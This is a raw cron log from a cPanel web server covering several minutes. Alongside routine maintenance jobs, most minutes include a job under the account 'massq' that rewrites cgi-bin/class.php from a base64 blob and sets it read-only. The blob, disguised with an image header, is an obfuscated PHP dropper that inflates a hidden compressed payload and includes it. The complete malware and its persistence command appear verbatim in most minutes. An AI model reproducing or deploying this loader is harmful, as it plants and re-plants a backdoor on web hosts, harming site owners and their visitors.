Sep  2 19:19:01 server CROND[4867]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:19:02 server CROND[4868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:19:02 server CROND[4869]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:20:01 server CROND[5249]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 19:20:01 server CROND[5251]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 19:20:01 server CROND[5253]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 19:20:01 server CROND[5259]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:20:01 server CROND[5252]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 19:20:01 server CROND[5261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:20:01 server CROND[5256]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 19:20:01 server CROND[5257]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 19:20:01 server CROND[5258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:21:01 server CROND[6076]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:21:01 server CROND[6078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:21:01 server CROND[6077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:22:01 server CROND[6444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:22:01 server CROND[6445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:22:01 server CROND[6446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:23:01 server CROND[6811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:23:01 server CROND[6810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:23:01 server CROND[6812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:24:01 server CROND[7274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:24:01 server CROND[7275]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:24:01 server CROND[7276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:25:01 server CROND[7658]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 19:25:01 server CROND[7663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:25:01 server CROND[7665]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 19:25:01 server CROND[7671]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 19:25:01 server CROND[7670]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 19:25:01 server CROND[7669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:25:01 server CROND[7673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:26:01 server CROND[8489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:26:01 server CROND[8490]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:26:01 server CROND[8491]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:27:01 server CROND[8867]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:27:01 server CROND[8868]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:27:01 server CROND[8869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:27:01 server CROND[8870]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 19:28:02 server CROND[9236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:28:02 server CROND[9237]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:28:02 server CROND[9238]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:29:01 server CROND[9622]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:29:01 server CROND[9623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:29:01 server CROND[9624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:30:01 server CROND[10138]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 19:30:01 server CROND[10140]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 19:30:01 server CROND[10141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:30:01 server CROND[10146]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 19:30:01 server CROND[10144]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 19:30:01 server CROND[10143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
